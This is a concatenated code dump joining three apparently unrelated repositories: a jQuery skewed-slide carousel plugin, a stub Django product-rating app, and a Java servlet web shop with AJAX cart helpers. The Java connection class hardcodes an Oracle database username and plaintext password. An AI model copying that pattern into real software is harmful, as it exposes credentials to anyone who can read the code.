this.$items.eq(this.current).addClass("skw-animate");
this.$caption = this.$caption.appendTo(this.$el);
this.$nav = this.$el.find(".skw-nav");
this._update(true)
},
_update: function(n, r, i) {
function b(e) {
return e * (Math.PI / 180)
}
function A(e, t) {
return e * 100 / t
}
var s = e(t).width(),
o = this,
u = this.options.moveFx,
a = this.options.infiniteSlide ? this.$items.add(this.$infItems) : this.$item,
f = this.options.infiniteSlide ? this.options.preloadCount : 0;
if (!n && this.options.breakpoints) {
for (var l in o.optionsBackup) {
o.options[l] = o.optionsBackup[l]
}
}
this.old = this.current;
if (r) {
for (var c in r) {
o.options[c] = r[c]
}
}
if (this.options.breakpoints) {
o.breakpoint = false;
for (var l in this.options.breakpoints) {
var h = this.options.breakpoints[l];
for (var c in h) {
if (h.hasOwnProperty(c)) {
if (c == "maxWidth") {
if (s <= h[c]) {
var p = this.options.breakpoints[l];
for (var l in p) {
o.options[l] = p[l]
}
}
}
}
}
}
}
if (n) {
this.current = this.options.setCurrent
} else if (r) {
if (r["setCurrent"] || r["setCurrent"] == 0) {
this.current = this.options.setCurrent
}
}
if (this.options.navDots) {
this.$nav.addClass("show")
} else {
this.$nav.removeClass("show")
}
this._loadCaption();
var d = this.options.width;
if (typeof d != "number") {
var v = d.substring(0, d.length - 1);
d = this.$el.parent().width() * (v / 100)
}
var m = this.options.slidePercent / 100,
g = Math.abs(this.options.ratio ? d / this.options.ratio : this.options.height);
this.$el.css({
height: g,
width: d
});
if (typeof g != "number") {
var y = g.substring(0, g.length - 1);
g = Math.abs(this.$el.parent().height() * (y / 100))
}
var w = g / 2 * Math.tan(b(Math.abs(this.options.skew))),
E = d - w * 2,
S = E / d,
x = (1 - S) / 2,
T = d * S,
N = this.options.centered ? d * x + T * Math.abs(1 - m) / 2 : d * x,
C = (this.itemsCount + this.options.preloadCount) * 2 * Math.round(T * m),
k = Math.round(T * m),
L = k * 100 / C;
this._updatePos(i, k, C);
this.$list.css({
height: "100%",
width: C
});
this.$items.css({
width: A(k, C) + "%",
display: "block",
"z-index": 7
});
if (this.options.itemPadding) {
this.$items.find(".skw-content").css({
paddingLeft: w * 2,
paddingRight: w * 2
})
} else {
this.$items.find(".skw-content").css({
paddingLeft: "",
paddingRight: ""
})
}
var O = C * (A(k, C) / 100);
var M = Math.round(O + w * 2),
_ = Math.round((O * (M / 100) - O) / 2 / d * 100);
this.$items.find(".skw-content").add(this.$el.find(".skw-loader")).css({
transform: "skew(" + this.options.skew * -1 + "deg, 0) translate(-" + Math.round(w) + "px, 0)",
width: M
});
if (!n && this.options.infiniteSlide) {
this.$infItems.css({
width: A(k, C) + "%",
"z-index": 7
}).find(".skw-content").css({
transform: "skew(" + this.options.skew * -1 + "deg, 0) translate(-" + w + "px, 0)",
width: M
});
for (var D = 0; D < this.options.preloadCount; D++) {
this.$infItems.eq(D).css({
left: Math.round(-(O * (this.options.preloadCount - D)))
})
}
}
if (n && this.options.infiniteSlide) {
for (var D = 1; D <= this.options.preloadCount; D++) {
this.$items.eq(this.itemsCount - D).clone().removeClass().addClass("skw-infLeft skw-infItem").css({
left: Math.round(-(O * D))
}).prependTo(this.$list);
this.$items.eq(D - 1).clone().removeClass().addClass("skw-infRight skw-infItem").appendTo(this.$list)
}
this.$infItems = this.$list.find(".skw-infItem")
}
if (n) {
this._loadImages()
}
this.$list.css("marginLeft", Math.round(N));
this._toggleNavControls();
this._initEvents()
},
_updatePos: function(e, t, n) {
var r = t,
n = n,
i = this,
s = -1 * r / n * 100 * this.current,
o = -1 * this.current * 100,
u = this.options.infiniteSlide ? this.$items.add(this.$infItems) : this.$items,
a = this.options.infiniteSlide ? this.options.preloadCount : 0;
i.$list.css("transform", i.support3d ? "translate3d(" + s + "%,0,0)" : "translate(" + s + "%)");
u.css("transform", i.support3d ? "translate3d(0,0,0) skew(" + i.options.skew + "deg, 0)" : "translate(0) skew(" + i.options.skew + "deg, 0)");
if (i.options.moveFx) {
setTimeout(function() {
u.css("transform", i.support3d ? "translate3d(" + o + "%,0,0) skew(" + i.options.skew + "deg, 0)" : "translate(" + o + "%) skew(" + i.options.skew + "deg, 0)");
i.$list.css("transform", i.support3d ? "translate3d(0,0,0)" : "translate(0)")
}, e)
}
if (this.current < 0 || this.current > this.itemsCount - 1) {
u.eq(i.current + a).addClass("skw-itemActive skw-visible");
this.$infItems.removeClass("skw-itemActive skw-visible");
this.isAnimatingInf = e;
this._toggleNavControls();
this.old = this.current;
var f = this.current < 0 ? i.itemsCount + i.current : Math.abs(i.itemsCount - i.current);
i.current = f;
this._fakeStates(f, e)
}
},
_initEvents: function() {
var n = this,
r;
if (this.itemsCount > 1) {
this.$navPrev.on("click.skewSlider", e.proxy(this._navigate, this, "previous"));
this.$navNext.on("click.skewSlider", e.proxy(this._navigate, this, "next"));
this.$navDots.on("click.skewSlider", function() {
n._jump(e(this).index())
})
}
if (this.options.moveOnHover) {
e(this.$el).on("mouseenter.skewSlider", ".skw-itemNext, .skw-itemPrev", function() {
n._hoverItem(true, e(this))
});
e(this.$el).on("mouseleave.skewSlider", ".skw-itemNext, .skw-itemPrev", function() {
n._hoverItem(false, e(this))
})
}
e(this.$el).on("click", ".skw-list > li.skw-itemNext > a, .skw-list > li.skw-itemPrev > a", function(e) {
e.preventDefault()
});
if (this.options.clickOnSiblings) {
e(this.$el).on("click.skewSlider", ".skw-itemNext", function() {
var t = e(this);
if (!n.options.moveFx) {
t.css("transform", n.support3d ? "translate3d(0,0,0) skew(" + n.options.skew + "deg, 0)" : "translate(0) skew(" + n.options.skew + "deg, 0)")
}
n._navigate("next");
setTimeout(function() {
t.css("z-index", n.itemsCount + 1)
}, n.options.speed)
});
e(this.$el).on("click.skewSlider", ".skw-itemPrev", function() {
var t = e(this);
if (!n.options.moveFx) {
t.css("transform", n.support3d ? "translate3d(0,0,0) skew(" + n.options.skew + "deg, 0)" : "translate(0) skew(" + n.options.skew + "deg, 0)")
}
n._navigate("previous");
setTimeout(function() {
t.css("z-index", n.itemsCount + 1)
}, n.options.speed)
})
}
if (this.options.slideshow) {
e(this.$el).on("mouseenter.skewSlider", function() {
clearInterval(n.slideShow)
});
e(this.$el).on("mouseleave.skewSlider", function() {
n._slideShow()
})
}
e(t).on("resize", function() {
r && clearTimeout(r);
r = setTimeout(function() {
n._update()
}, 500)
})
},
_hoverItem: function(e, t) {
var n = t,
r, i = this;
if (this.isAnimating || !this.HoverSiblings) {
return false
}
this.$items.eq(this.current).removeClass("skw-visible");
if (e) {
if (this.options.moveFx) {
var s = n.hasClass("skw-itemNext") ? -1 * this.current * 100 - this.options.moveOnHover : -1 * this.current * 100 + this.options.moveOnHover
} else {
var s = n.hasClass("skw-itemNext") ? -1 * this.options.moveOnHover : this.options.moveOnHover
}
this.isHovering = true;
n.css({
transform: this.support3d ? "translate3d(" + s + "%,0,0) skew(" + this.options.skew + "deg, 0)" : "translate(" + s + "%) skew(" + this.options.skew + "deg, 0)",
transition: this.transformName + " " + this.options.hoverSpeed + "ms " + this.options.easing,
"z-index": 99
})
} else {
if (this.options.moveFx) {
n.css({
transform: this.support3d ? "translate3d(" + -1 * this.current * 100 + "%,0,0) skew(" + this.options.skew + "deg, 0)" : "translate(" + -1 * this.current * 100 + "%) skew(" + this.options.skew + "deg, 0)",
transition: this.transformName + " " + this.options.hoverSpeed + "ms " + this.options.easing
})
} else {
n.css({
transform: this.support3d ? "translate3d(0,0,0) skew(" + this.options.skew + "deg, 0)" : "translate(0) skew(" + this.options.skew + "deg, 0)",
transition: this.transformName + " " + this.options.hoverSpeed + "ms " + this.options.easing
})
}
}
},
_navigate: function(e) {
if (this.isAnimating) {
return false
}
this.isAnimating = true;
this.old = this.current;
if (e === "next") {
this.current += this.options.itemsToslide
} else if (e === "previous") {
this.current -= this.options.itemsToslide
}
this._slide()
},
_slideShow: function() {
var e = this;
clearInterval(e.slideShow);
this.slideShow = setInterval(function() {
e._navigate("next")
}, e.options.slideshow)
},
_jump: function(e) {
if (e === this.current || this.isAnimating) {
return false
}
this.isAnimating = true;
this.old = this.current;
this.current = e;
this._slide()
},
_loadCaption: function() {
var e = this.$items.eq(this.current),
t = e.find(".skw-content").data("caption"),
n = this;
clearTimeout(this.captionTimeout);
if (t && this.options.showCaption) {
n.$caption.html(t).css({
opacity: 1,
pointerEvents: ""
})
} else {
n.$caption.css({
opacity: 0,
pointerEvents: "none"
});
this.captionTimeout = setTimeout(function() {
n.$caption.html("")
}, 1e3)
}
},
_slide: function(t) {
var n = this.options.infiniteSlide ? this.$items.add(this.$infItems) : this.$item,
r = this.options.infiniteSlide ? this.options.preloadCount : 0,
i = this;
if (t !== "no-trans") {
this.$infItems.removeClass("skw-itemActive");
this._toggleNavControls()
}
this.$caption.css("opacity", 0);
var s = this.current;
var o = e.proxy(function() {
this.isAnimating = false;
this.isAnimatingInf = false;
this._loadCaption();
this.$items.eq(this.current).addClass("skw-animate").siblings(".skw-animate").removeClass("skw-animate")
}, this);
var u = this;
this._loadImages();
if (!this.options.moveFx && this.options.moveOnHover) {
this.$items.eq(this.current).css("transform", this.support3d ? "translate3d(0,0,0) skew(" + this.options.skew + "deg, 0)" : "translate(0) skew(" + this.options.skew + "deg, 0)");
if (this.options.infiniteSlide) {
var a;
if (this.current > this.itemsCount - 1) {
a = this.options.preloadCount
} else if (this.current < 0) {
a = this.options.preloadCount - 1
}
this.$infItems.eq(a).css("transform", this.support3d ? "translate3d(0,0,0) skew(" + this.options.skew + "deg, 0)" : "translate(0) skew(" + this.options.skew + "deg, 0)")
}
}
if (!this.support || !this.options.moveFx) {
var f = this.$items.outerWidth(true),
l = this.$list.width(),
c = -1 * f / l * 100 * this.current;
if (this.support) {
this.$list.css({
transform: this.support3d ? "translate3d(" + c + "%,0,0)" : "translate(" + c + "%)",
transition: this.transformName + " " + this.options.speed + "ms " + this.options.easing
})
} else {
this.$list.animate("margin-left", c + "%")
}
this.maxTime = this.options.speed
} else {
var c = -1 * this.current * 100,
h = u.old < u.current ? 1 : -1;
this.maxTime = 0;
n.each(function() {
var t = e(this),
n = u.options.infiniteSlide ? t.index() - u.options.preloadCount : t.index(),
r = Math.abs(u.current - n);
var s = u.options.speedDifference;
for (var o = 1; o <= r; o++) {
s += u.options.speedDifference / (Math.pow(1.2, o) * 2)
}
s -= u.options.speedDifference;
if (s > i.maxTime) {
i.maxTime = s
}
var a = n > u.current ? u.options.speed - s * h : u.options.speed + s * h;
t.css("transition", u.transformName + " " + a + "ms " + u.options.easing);
if (u.options.delay > 0) {
var f = u.old;
if (h > 0) {
if (n <= f) {
t.css({
transitionDelay: u.options.delay + "ms",
"z-index": u.itemsCount
})
} else {
t.css({
transitionDelay: 0,
"z-index": u.itemsCount + 1
})
}
} else {
if (n >= f) {
t.css({
transitionDelay: u.options.delay + "ms",
"z-index": u.itemsCount - Math.abs(n - f)
})
} else {
t.css({
transitionDelay: 0,
"z-index": u.itemsCount + 1
})
}
}
}
t.css("transform", this.support3d ? "translate3d(" + c + "%,0,0) skew(" + u.options.skew + "deg, 0)" : "translate(" + c + "%) skew(" + u.options.skew + "deg, 0)")
});
i.maxTime += u.options.speed
}
var p = u.options.speed;
if (this.current < 0 || this.current > this.itemsCount - 1) {
this.isAnimating = true;
this.old = this.current;
var d = this.current < 0 ? u.itemsCount + u.current : Math.abs(u.itemsCount - u.current);
p = this.current < 0 ? this.maxTime + u.options.delay : p + u.options.delay;
this._fakeStates(d, p)
}
if (t == "no-trans") {
u.isAnimating = true;
p = 0;
console.log("inf");
setTimeout(function() {
u.$el.removeClass("skw-noTransition");
u.HoverSiblings = true;
u.$el.removeClass("skw-noEvents")
}, 100)
}
setTimeout(function() {
o.call()
}, p)
},
_fakeStates: function(e, t) {
var n = this;
this.isAnimatingInf = t;
this.current = e;
this.$el.addClass("skw-noEvents");
setTimeout(function() {
n.HoverSiblings = false;
n.$el.addClass("skw-noTransition");
n._slide("no-trans")
}, t)
},
_toggleNavControls: function() {
if (!this.options.infiniteSlide) {
switch (this.current) {
case 0:
this.$navNext.removeClass("skw-trans");
this.$navPrev.addClass("skw-trans");
break;
case this.itemsCount - 1:
this.$navNext.addClass("skw-trans");
this.$navPrev.removeClass("skw-trans");
break;
default:
this.$navNext.removeClass("skw-trans");
this.$navPrev.removeClass("skw-trans");
break
}
}
this.$navDots.eq(this.old).removeClass("skw-current").end().eq(this.current).addClass("skw-current");
var e = this.options.infiniteSlide ? this.$items.add(this.$infItems) : this.$items,
t = this.options.infiniteSlide ? this.options.preloadCount : 0,
n = this;
e.eq(this.old + t).not(".skw-infItem").removeClass("skw-itemActive");
var r = e.eq(n.current + t);
e.filter(".skw-itemNext").removeClass("skw-itemNext");
e.filter(".skw-itemPrev").removeClass("skw-itemPrev");
r.addClass("skw-itemActive");
if (this.current >= 0 && this.current < this.itemsCount) {
e.eq(this.current + t + this.options.NextPrevDistance).addClass("skw-itemNext");
e.eq(this.options.centered ? this.current + t - this.options.NextPrevDistance : this.current + t - 1).addClass("skw-itemPrev")
}
if (this.current < 0) {
e.eq(this.current + this.itemsCount + t).addClass("skw-itemActive");
e.eq(this.current + this.itemsCount + t + 1).addClass("skw-animate");
e.eq(this.current + this.itemsCount + t + this.options.NextPrevDistance).addClass("skw-itemNext");
e.eq(this.options.centered ? this.current + this.itemsCount + t - this.options.NextPrevDistance : this.current + this.itemsCount + t - 1).addClass("skw-itemPrev")
}
if (this.current >= this.itemsCount) {
e.eq(this.current - this.itemsCount + t).addClass("skw-itemActive");
e.eq(this.current - this.itemsCount + t - 1).addClass("skw-animate");
e.eq(this.current - this.itemsCount + t + this.options.NextPrevDistance).addClass("skw-itemNext");
e.eq(this.options.centered ? this.current - this.itemsCount + t - this.options.NextPrevDistance : this.current - this.itemsCount + t - 1).addClass("skw-itemPrev");
this.$navDots.eq(this.old).removeClass("skw-current").end().eq(this.current - this.itemsCount).addClass("skw-current")
}
},
_loadImages: function() {
var e = this,
t = this.options.infiniteSlide ? this.$items.add(this.$infItems) : this.$items,
n = this.options.infiniteSlide ? this.options.preloadCount : 0;
for (var r = e.current - e.options.preloadCount; r <= e.current + e.options.preloadCount; r++) {
var i = t.eq(r + n),
s = i.find(".skw-content"),
o = s.data("bg");
if (o && !s.hasClass("charged")) s.css("background-image", "url(" + o + ")").addClass("charged")
}
},
update: function(e, t, n, r) {
var i = 0,
s = this,
o = true;
if (this.updateDelay) {
o = false
}
if (this.isAnimatingInf) {
if (!r) {
if (t) {
setTimeout(function() {
t(false)
}, n)
}
return false
}
i = this.isAnimatingInf + 100;
this.updateDelay = true
}
this.updateTimeout = setTimeout(function() {
var r = s.options.infiniteSlide ? s.$items.add(s.$infItems) : s.$items;
n = n || 600;
s.$list.parent().css("transition", "all " + n + "ms");
s.$list.css("transition", "all " + n + "ms");
r.css("transition", "all " + n + "ms");
r.find(".skw-content").css("transition", "all " + n + "ms");
if (!this.updateDelay) {
s._update(false, e, n);
s._toggleNavControls()
}
if (t) {
setTimeout(function() {
t(o)
}, n)
}
s.updateDelay = false
}, i)
},
navigate: function(e, t) {
var n = this;
if (e == "next" || e == "previous") {
var r = e == "next" ? this.current + 1 : this.current - 1;
this._jump(r)
} else {
this._jump(e)
}
console.log(n.maxTime);
if (t) {
setTimeout(function() {
t()
}, n.maxTime + 200)
}
}
};
e.fn.skewSlider = function(t) {
if (typeof t === "string") {
var n = Array.prototype.slice.call(arguments, 1);
this.each(function() {
var r = e.data(this, "skewSlider");
if (!r) {
logError("cannot call methods on cbpFWSlider prior to initialization; " + "attempted to call method '" + t + "'");
return
}
if (!e.isFunction(r[t]) || t.charAt(0) === "_") {
logError("no such method '" + t + "' for cbpFWSlider instance");
return
}
r[t].apply(r, n)
})
} else {
this.each(function() {
var n = e.data(this, "skewSlider");
if (n) {
n._init()
} else {
n = e.data(this, "skewSlider", new e.SKEWSlider(t, this))
}
})
}
return this
}
})(jQuery, window)<file_sep>$(document).ready(function(){
$('.menu').on('click',function(e){
e.stopPropagation();
$('.sidenav').toggleClass('pushNav');
$('.dim').toggleClass('overlay');
$('body').toggleClass('flow');
});
$('body,html').on('click',function(e){
$('.sidenav').removeClass('pushNav');
$('.dim').removeClass('overlay');
$('body').removeClass('flow');
});
$('.sidenav').click(function(e){
e.stopPropagation();
});
}); | d70fbd46f99cc47048de52d84950715c1b73dcc3 | [
"JavaScript"
] | 2 | JavaScript | smanzar/service-repair | 38d1671dd4df661cd55cff4faba78fd73c9aa225 | b48b3ee98867c74fb4fc90ba76e9f78c19451d14 |
refs/heads/master | <repo_name>SaxenaKartik/rating_project<file_sep>/rating_api/serializers.py
from rest_framework import serializers
from rating_api import models
class UserSerializer(serializers.ModelSerializer):
"""Serializes fields for User Model"""
class Meta :
model = models.MyUser
fields = ('username', 'password')
extra_kwargs = {
'password' :{
'style' : {'input_type' : 'password'}
}
}
class ProductSerializer(serializers.ModelSerializer):
"""Serializes fields for Product Model"""
class Meta :
model = models.Product
fields = ('name', 'price', 'rating')
<file_sep>/rating_api/urls.py
from django.urls import path,include
from rating_api import views as app_views
from django.contrib.auth import views
# from rest_framework.routers import DefaultRouter
#
# router = DefaultRouter()
# router.register('user', views.UserViewSet)
# router.register('product', views.ProductViewSet)
urlpatterns = [
path('login/', views.LoginView.as_view(), name='login'),
path('logout/',views.LogoutView.as_view(), name='logout'),
path('signup/', app_views.signup.as_view()),
path('product/', app_views.product.as_view()),
path('rate/', app_views.rate.as_view())
]
<file_sep>/requirements.txt
django==3.0.7
djangorestframework==3.10.3
<file_sep>/rating_api/apps.py
from django.apps import AppConfig
class RatingApiConfig(AppConfig):
name = 'rating_api'
<file_sep>/rating_api/admin.py
from django.contrib import admin
from rating_api import models
# Register your models here.
admin.site.register(models.MyUser)
admin.site.register(models.Product)
admin.site.register(models.Rate)
<file_sep>/rating_api/models.py
from django.db import models
from django.contrib.auth.models import AbstractUser
# Create your models here.
class MyUser(AbstractUser):
""" Custom user model """
pass
def __str__(self):
return "username : " +str(self.username)
class Meta :
verbose_name_plural = "MyUsers"
class Product(models.Model):
""" Custom product model """
name = models.CharField(max_length = 100)
price = models.DecimalField(max_digits = 7, decimal_places = 2)
rating = models.DecimalField(max_digits = 5, decimal_places = 2)
def __str__(self):
return "name : " + str(self.name) + " price : " + str(self.price) + " rating : " + str(self.rating)
class Rate(models.Model):
"""Rate model"""
user = models.ForeignKey(MyUser, on_delete=models.CASCADE)
product = models.ForeignKey(Product, on_delete = models.CASCADE)
rating = models.DecimalField(max_digits = 5, decimal_places = 2)
<file_sep>/rating_api/views.py
from django.shortcuts import render
# from rest_framework import viewsets
from rating_api import models
from rating_api import serializers
from rest_framework.renderers import TemplateHTMLRenderer
from django.http import HttpResponse
from rest_framework.views import APIView
from .models import MyUser, Product, Rate
from rest_framework.serializers import ModelSerializer
from rest_framework.response import Response
# from rest_auth.registration.views import RegisterView
# Create your views here.
# class UserViewSet(viewsets.ModelViewSet):
# """ Handle creating and updating users"""
#
# serializer_class = serializers.UserSerializer
# queryset = models.MyUser.objects.all()
#
#
# class ProductViewSet(viewsets.ModelViewSet):
# """ Handle creating and updating products"""
#
# serializer_class = serializers.ProductSerializer
# queryset = models.Product.objects.all()
# @transaction.atomic
class login(APIView):
serializer_class = serializers.UserSerializer
renderer_classes = [TemplateHTMLRenderer]
# queryset = User.objects.all()
def get(self, request):
model = MyUser.objects.all()
serializer = serializers.UserSerializer
return Response({'serializer': serializer, 'model': model}, template_name = "registration/login.html")
# def post(self, request):
# pass
# @transaction.atomic
class signup(APIView):
serializer_class = serializers.UserSerializer
renderer_classes = [TemplateHTMLRenderer]
#
def get(self, request):
model = MyUser.objects.all()
serializer = serializers.UserSerializer
return Response({'serializer': serializer, 'model': model}, template_name = "registration/signup.html")
def post(self, request):
pass
class product(APIView):
serializer_class = serializers.UserSerializer
renderer_classes = [TemplateHTMLRenderer]
def get(self, request):
model = Product.objects.all()
serializer = serializers.ProductSerializer
return Response({'serializer': serializer, 'model': model}, template_name = "product/index.html")
class rate(APIView):
serializer_class = serializers.UserSerializer
renderer_classes = [TemplateHTMLRenderer]
def get(self, request):
total = set(Product.objects.all())
rated = Rate.objects.filter(user = request.user).select_related('product')
rated_products = set()
for a in rated:
rated_products.add(a.product)
model = total.difference(rated_products)
serializer = serializers.ProductSerializer
return Response({'serializer': serializer, 'model': model}, template_name = "product/rate.html")
def post(self, request):
pass
<file_sep>/README.md
# rating-project
This is a test repo
| 0887acf1a5d95bd84b9c9ce22a774e6c8ef4c1f6 | [
"Markdown",
"Python",
"Text"
] | 8 | Python | SaxenaKartik/rating_project | f4fa1e3f40b1d8a610c2ec21a22171fcff982b1e | 2aa2e7ef194eaba3d5b8d5a4d23b19be065e8910 |
refs/heads/master | <repo_name>luislicona/prueba<file_sep>/MiTienda/src/main/java/com/domain/controlador/package-info.java
package com.domain.controlador;<file_sep>/MiTienda/src/main/webapp/js/funciones.js
/*
*/
function funcionTry() {
alert("Registro correcto");
}
function funcionSalir() {
alert("Hasta pronto");
}
function pago() {
alert("Pago realizado con exito");
}
function registrarte() {
id="login"
id="password"
$.ajax( {
method :"POST",
url: "/MiTienda/registro",
data: { nombre:$("#login").val(),contrasena:$("#password").val() }
})
.done(function(msg) {
if(msg=="1"){
alert("No se pudo registrar, intenta con otro nombre de usuario");
}else{
alert("Registro exitoso");
window.location="index.jsp";
}
console.log("Data saved: " + msg);
});
}
function asin1() {
$.ajax( {
method :"POST",
url: "librosServlet",
data: { caso:1 }
})
.done(function(msg) {
alert("Producto agregado al carrito");
console.log("Data saved: " + msg);
$("#resp").text(msg);
});
}
function asin2() {
$.ajax( {
method :"POST",
url: "librosServlet",
data: { caso:2 }
})
.done(function(msg) {
alert("Producto agregado al carrito");
console.log("Data saved: " + msg);
$("#resp").text(msg);
});
}
function asin3() {
$.ajax( {
method :"POST",
url: "librosServlet",
data: { caso:3 }
})
.done(function(msg) {
alert("Producto agregado al carrito");
console.log("Data saved: " + msg);
$("#resp").text(msg);
});
}
function asin4() {
$.ajax( {
method :"POST",
url: "librosServlet",
data: { caso:4 }
})
.done(function(msg) {
alert("Producto agregado al carrito");
console.log("Data saved: " + msg);
$("#resp").text(msg);
});
}
function asin5() {
$.ajax( {
method :"POST",
url: "librosServlet",
data: { caso:5 }
})
.done(function(msg) {
alert("Producto agregado al carrito");
console.log("Data saved: " + msg);
$("#resp").text(msg);
});
}
function asin6() {
$.ajax( {
method :"POST",
url: "librosServlet",
data: { caso:6 }
})
.done(function(msg) {
alert("Producto agregado al carrito");
console.log("Data saved: " + msg);
$("#resp").text(msg);
});
}
function libdin() {
$.ajax( {
method :"POST",
url: "videojuegos.jsp",
data: {}
})
.done(function(msg) {
alert("estamos en videojuegos");
console.log("Data saved: " + msg);
$("#videojuegos").load("videojuegos.jsp");
});
}
<file_sep>/MiTienda/src/main/java/com/domain/controlador/ConexionOracle.java
package com.domain.controlador;
import java.sql.*;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class ConexionOracle{
Connection conn =null;
public Connection Conectar() {
try {
DriverManager.registerDriver (new oracle.jdbc.driver.OracleDriver());
conn = DriverManager.getConnection("jdbc:oracle:thin:@localhost:1522:BASEDATOSTR", "ESTUDIANTE", "hola");
conn.setAutoCommit(true);
//System.out.println("Conectado");
}
catch (SQLException e) {
// TODO Auto-generated catch block
System.out.println("Conexion denegada");
e.printStackTrace();
}
return conn;
}
}
/*
try {
System.out.println("Entre");
// Se obtiene el ClassLoader y su metodo addURL()
URLClassLoader classLoader = ((URLClassLoader) ClassLoader
.getSystemClassLoader());
Method metodoAdd = URLClassLoader.class.getDeclaredMethod("addURL",
new Class[] { URL.class });
metodoAdd.setAccessible(true);
// La URL del jar que queremos anadir
URL url = new URL(
"file:///C:/Users/luanl/Desktop/Nueva carpeta/base datos lib/ojdbc8.jar");
// Se invoca al metodo addURL pasando esa url del jar
metodoAdd.invoke(classLoader, new Object[] { url });
System.out.println("Sali");
} catch (Exception e) {
e.printStackTrace();
}
try {
Class.forName("oracle.jdbc.driver.OracleDriver");
System.out.println("ya se encuentra com.mysql.jdbc.Driver");
} catch (ClassNotFoundException e) {
System.out.println("Pues no, sigue sin estar accesible");
}
*/
<file_sep>/MiTienda/src/main/java/com/domain/mitienda/librosServlet.java
package com.domain.mitienda;
import java.io.IOException;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import com.domain.controlador.Datos;
import com.domain.controlador.productos;
@WebServlet("/librosServlet")
public class librosServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
int contadorvariable=0;
String valor=request.getParameter("caso");
System.out.println("ESTE ES EL VALOR DE NOMBRE" + valor);
HttpSession sesion = request.getSession();
Integer contadorProducto=Integer.parseInt(sesion.getAttribute("preciototal").toString());
int numerodeproductos=1;
productos produc= new productos();
switch (valor){
case "1":
contadorvariable= produc.piense(numerodeproductos);
contadorProducto= contadorProducto +contadorvariable;
sesion.setAttribute("preciototal", contadorProducto);
System.out.println("LLEVAS "+ contadorProducto+"gastado");
RequestDispatcher rd1 = request.getRequestDispatcher("libros.jsp");
rd1.forward(request, response);
break;
case "2":
contadorvariable= produc.infinito(numerodeproductos);
contadorProducto= contadorProducto +contadorvariable;
sesion.setAttribute("preciototal", contadorProducto);
System.out.println("LLEVAS "+ contadorProducto+"gastado");
RequestDispatcher rd2 = request.getRequestDispatcher("libros.jsp");
rd2.forward(request, response);
break;
case "3":
contadorvariable= produc.teoria(numerodeproductos);
contadorProducto= contadorProducto +contadorvariable;
sesion.setAttribute("preciototal", contadorProducto);
System.out.println("LLEVAS "+ contadorProducto+"gastado");
RequestDispatcher rd3 = request.getRequestDispatcher("libros.jsp");
rd3.forward(request, response);
break;
case "4":
contadorvariable= produc.fortnite(numerodeproductos);
contadorProducto= contadorProducto +contadorvariable;
sesion.setAttribute("preciototal", contadorProducto);
System.out.println("LLEVAS "+ contadorProducto+"gastado");
RequestDispatcher rd4 = request.getRequestDispatcher("videojuegos.jsp");
rd4.forward(request, response);
break;
case "5":
contadorvariable= produc.callofduty(numerodeproductos);
contadorProducto= contadorProducto +contadorvariable;
sesion.setAttribute("preciototal", contadorProducto);
System.out.println("LLEVAS "+ contadorProducto+"gastado");
RequestDispatcher rd5 = request.getRequestDispatcher("videojuegos.jsp");
rd5.forward(request, response);
break;
case "6":
contadorvariable= produc.counter(numerodeproductos);
contadorProducto= contadorProducto +contadorvariable;
sesion.setAttribute("preciototal", contadorProducto);
System.out.println("LLEVAS "+ contadorProducto+"gastado");
RequestDispatcher rd6 = request.getRequestDispatcher("videojuegos.jsp");
rd6.forward(request, response);
break;
}
}
}
<file_sep>/MiTienda/src/main/java/com/domain/mitienda/package-info.java
package com.domain.mitienda;<file_sep>/MiTienda/src/main/java/com/domain/mitienda/validacionDatos.java
package com.domain.mitienda;
import java.io.IOException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import com.domain.controlador.*;
import java.sql.*;
@WebServlet("/validacionDatos")
public class validacionDatos extends HttpServlet {
private static final long serialVersionUID = 1L;
Connection con;
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
System.out.println("Entrando a get");
response.getWriter().append("Served at: ").append(request.getContextPath());
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
System.out.println("Entrando a post");
String nombre=request.getParameter("nombre");
String contraseņa=request.getParameter("contraseņa");
// String nombreusuario;
HttpSession sesion = request.getSession();
//Datos date= new Datos();
FuncionesOracle valbase= new FuncionesOracle();
int valor = valbase.baseOracle(nombre, contraseņa);
//boolean val=false;
// val=date.validar(nombre, contraseņa);
System.out.println(nombre);
if (valor!=0) {
//request.setAttribute("nombreUsuario",nombre);
sesion.setAttribute("nombreusuario", nombre);
sesion.setAttribute("preciototal", 0);
Datos borrar = new Datos();
String estado="";
estado = borrar.borrarpedido();
System.out.print(estado);
RequestDispatcher rd = request.getRequestDispatcher("bienvenida.jsp");
rd.forward(request, response);
//response.sendRedirect("bienvenida.jsp");
}
else {
response.sendRedirect("notuser.jsp");
}
}
}
<file_sep>/MiTienda/src/main/java/com/domain/controlador/cerrarsesion.java
package com.domain.controlador;
import java.io.IOException;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.Statement;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
/**
* Servlet implementation class cerrarsesion
*/
@WebServlet("/cerrarsesion")
public class cerrarsesion extends HttpServlet {
private static final long serialVersionUID = 1L;
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Datos borrar = new Datos();
String estado="";
estado = borrar.borrarpedido();
System.out.println(estado);
HttpSession sesion=request.getSession();
sesion.removeAttribute("preciototal");
sesion.invalidate();
System.out.println("sesion cerrada");
response.sendRedirect("index.jsp");
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
}
| 8cf344e08a7777ccd68e20e1b6d3da7f39592c4a | [
"JavaScript",
"Java"
